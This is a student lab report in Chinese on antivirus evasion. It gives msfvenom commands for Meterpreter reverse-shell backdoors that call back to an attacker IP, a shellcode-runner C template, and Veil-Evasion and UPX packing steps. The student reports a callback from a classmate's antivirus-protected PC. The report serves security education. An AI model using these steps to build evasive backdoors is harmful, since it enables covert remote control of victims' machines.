2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

时间:2021-12-27 16:46:29

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

通过组合应用各种技术实现恶意代码免杀

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

任务一 正确使用免杀工具或技巧

1、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.200 LPORT=5315 -f exe > msf5315.exe指令进行多次编码,生成.exe的后门程序

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 放到windows系统中,果不其然,杀软可以发现它

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用virscan进行扫描,结果如下所示:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

有超过一半的杀软能查杀该后门程序

  • msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.196.200 lport=5315 x> 5315met.jar生成.jar的后门程序

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用msfconsole回连成功

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 放到windows系统中,杀软并没有发现它...我觉得可能是我的杀软太垃圾了...

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用virscan进行扫描,结果如下所示:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

虽然好像检测率降低了,但是没有实现免杀,提示警告信息

2、使用veil-evasion生成后门程序

使用代理安装的,有些包会下载安装失败,可以提前安装这些包,指令如下:(可以不做这一步)

# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32

再使用如下指令进行后续安装

# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh 

以上过程比较漫长,需要一些耐心~

  • 输入veil,启用veil

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 输入use evasion,进入veil-evasion
  • 输入list,查看可生成文件的格式

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 输入use 7,选择C语言格式
  • 依次输入set LHOST 192.168.196.200set LPORT 5315设置反弹连接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5315

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 生成成功

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 放到windows中,显示"文件所在的卷已被外部更改,文件不再有效",经过查杀,发现果然被发现了:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用virscan进行扫描,结果如下所示:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

查杀结果依然显示危险

3、利用shellcode编程生成后门程序

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.200 LPORT=5315 -f c生成一段shellcode

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ shellcode5315.c -o shellcode5315.exe编译运行后,测试其可用性

C语言代码如下:

unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf" int main()
{
int (*func)() = (int(*)())buf;
func();
}

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 复制到Windows中双击运行时显示"文件所在的卷已被外部更改,文件不再有效",通过查杀发现果然被杀软找到了:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用virscan进行扫描,结果如下所示:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

无法实现免杀

任务二 通过组合应用各种技术实现恶意代码免杀

  • 对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe可执行文件加UPX压缩壳尝试实现免杀

  • 被控机是Win7虚拟机,电脑杀软为腾讯电脑管家13.0.19837.233

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用virscan进行扫描,结果如下所示:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • windows杀软没有发现:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 使用msfconsole回连成功:

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

不知道为什么,虽然windows杀软没查出来,但是在virscan中反而检测率很高了...

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

最后一项任务生成的后门程序在自己的windows虚拟机上可以实现免杀,但是在别人的电脑上尝试后发现不能回连,于是我开始找原因(过程令人头秃)...

  • 我们先相互ping一下主机,都发现没有ping通,显示"TTL过期",这是两台主机不在一个网段导致的,于是我们尝试改变了一下网络适配器为“桥接模式”,于是...我的windows 成功的ping通了她的kali,然鹅她的ping不通我的kali,显示“无法访问目标主机”...但是她能ping通我的本机系统

  • 我在网上查了一下,一般回答都列举出以下几个方面

    • 本机虚拟机没有关闭防火墙...但是kali没有防火墙,不存在关闭开启之说
    • 不在一个网段...这个刚刚修改过网段,不存在这个问题
    • 本机网关设置错误...不存在这个问题
    • 对方主机没关防火墙...尝试关了之后重启...好像成功了!!但是之前也尝试过关防火墙,但是也没有ping通,不知道这次为什么成功了,可能是因为重启了叭

以下是成功过程截图

和任务二一样,对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe可执行文件加UPX压缩壳尝试实现免杀

另一台被控机是Win10本机,电脑杀软为金山毒霸11.2019.1.1.032617.1335

  • 我将文件发送到目标主机上,用杀软进行查杀,没有发现危险

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

  • 双击运行后,我的kali的console实现回连(对方主机ip为10.1.1.175)

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

三、实验中遇到的问题

在安装运行Veil-Evasion时,遇到很多报错...换了好几个源文件,好几种方法都无法正常安装运行

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

解决过程:

一开始询问其他同学,发现安装好的同学的kali虚拟机是2019版的,而没安装好的同学基本是2018版,可能和虚拟机版和veil版本不匹配有关,于是我重新安装了2019版的kali虚拟机,将之前的文件拷贝进新的虚拟机,最终按照任务中的教程完成安装。

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

在使用veil的过程中选择python语言生成文件失败

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

解决过程:

通过学习学姐的博客,发现是python语言不可以使用的问题,所以按照同样的方法,选择别的语言,例如“c”试一下就行了。

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

在使用i686-mingw32-w64-g++编译器时,提示找不到该指令

解决过程:

一开始使用apt-get install i686-w64-mingw32指令下载,显示定位不到软件包

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

后来使用update更新本地软件包后,可正常使用。

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

当我将生成的后门程序复制到windows上并双击运行时,显示"文件所在的卷已被外部更改,文件不再有效"

2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

解决过程:

通过查询网络,只要关掉杀软就可以解决这个问题,这也从反面证明这个程序被杀软发现了才无法运行,而且通过杀软查杀也发现了该后门程序危险。

四、实验总结

1、基础问题回答

(1)杀软是如何检测出恶意代码的?

主要有三种方式:1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是做什么?

我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。

(3)免杀的基本方法有哪些?

主要有三种方法:1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验总结和收获

这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。虽然此次实验比较基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。

同时,我在打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。

3、离实战还缺少的技术或步骤

我在实验中基本就是跟着指导指令一步一步走,没有什么技术含量,而且实验中的后门程序都是我们直接复制粘贴到靶机上的,但实际攻击的时候是不可能把一个赤裸裸的木马放过去的,所以要用一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等。